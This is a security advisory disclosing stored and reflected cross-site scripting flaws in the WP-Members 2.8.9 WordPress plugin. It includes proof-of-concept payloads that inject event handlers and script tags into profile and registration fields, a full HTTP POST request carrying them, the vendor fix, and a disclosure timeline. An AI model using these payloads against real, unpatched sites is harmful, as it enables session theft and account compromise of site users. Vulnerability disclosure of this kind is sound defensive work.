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Advisory: Wordpress Plugin WP-Members Version 2.8.9 - Stored and
reflected Cross-site Scripting vulnerabilities
Advisory ID: SSCHADV2014-001
Author: Stefan Schurtz
Affected Software: Successfully tested on WP-Members Version 2.8.9
Vendor URL: http://wordpress.org/plugins/wp-members/
Vendor Status: fixed

==========================
Vulnerability Description
==========================

The Wordpress plugin "WP-Members 2.8.9" is prone to reflected and stored
XSS vulnerabilities

==========================
PoC-Exploit
==========================

// Stored-XSS Profile "WP-Members Additional Fields" (Backend)

Works for Editor, Subscriber, Contributor and Author.

&addr1=" onMouseMove=alert(document.cookie) '
&addr2=" onMouseMove=alert(document.cookie) '
&city=" onMouseMove=alert(document.cookie) '
&thestate=" onMouseMove=alert(document.cookie) '
&zip=" onMouseMove=alert(document.cookie) '
&country=" onMouseMove=alert(document.cookie) '
&phone1=" onMouseMove=alert(document.cookie) '

// POST-Request

Host: [Host]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://[Host]/wordpress/wp-admin/profile.php?updated=1
Cookie:
wordpress_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C82134b1dfc3cf2c7d02dc21bae10977a;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C7c4a9b983a92d6c074e935263583cdf0;
wp-settings-time-2=1388969329; wp-settings-2=editor%3Dhtml;
PHPSESSID=9amg03t3qp8s54qh008slk4vo3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 500

_wpnonce=d3dce96663&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fprofile.php%3Fupdated%3D1&from=profile&checkuser_id=2&color-nonce=8b5d6b3e25&admin_color=fresh&admin_bar_front=1&first_name=user&last_name=Smith&nickname=user&display_name=user&email=user%40user.local&url=http%3A%2F%2F3&description=1&pass1=&pass2=&addr1="
onMouseMove=alert(document.cookie)
'&addr2=&city=&thestate=&zip=&country=%22+onMouseMove%3Dalert%28document.cookie%29+%27&phone1=3&test=3&action=update&user_id=2&submit=Profil+aktualisieren

// Reflected Cross-site Scripting

(1) Install plugin
(2) http://[Host]/wp/wp-login.php?action=register

First Name: '"--></style></script><script>alert(/XSS/)</script>
Last Name: '"--></style></script><script>alert(/XSS/)</script>
Address 1: '"--></style></script><script>alert(/XSS/)</script>
Address 2: '"--></style></script><script>alert(/XSS/)</script>
City: '"--></style></script><script>alert(/XSS/)</script>
State: '"--></style></script><script>alert(/XSS/)</script>
Zip: '"--></style></script><script>alert(/XSS/)</script>
Country: '"--></style></script><script>alert(/XSS/)</script>
Day Phone: '"--></style></script><script>alert(/XSS/)</script>    

==========================
Solution
==========================

Upgrade to the latest version WP-Members 2.8.10

==========================
Disclosure Timeline
==========================

05-Jan-2014 - vendor informed by email (plugins@wordpress.org)
06-Jan-2014 - feedback from vendor
07-Jan-2014 - fixed by vendor

==========================
Credits
==========================

Vulnerabilities found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://wordpress.org/plugins/wp-members/
http://www.darksecurity.de/advisories/2014/SSCHADV2014-001.txt
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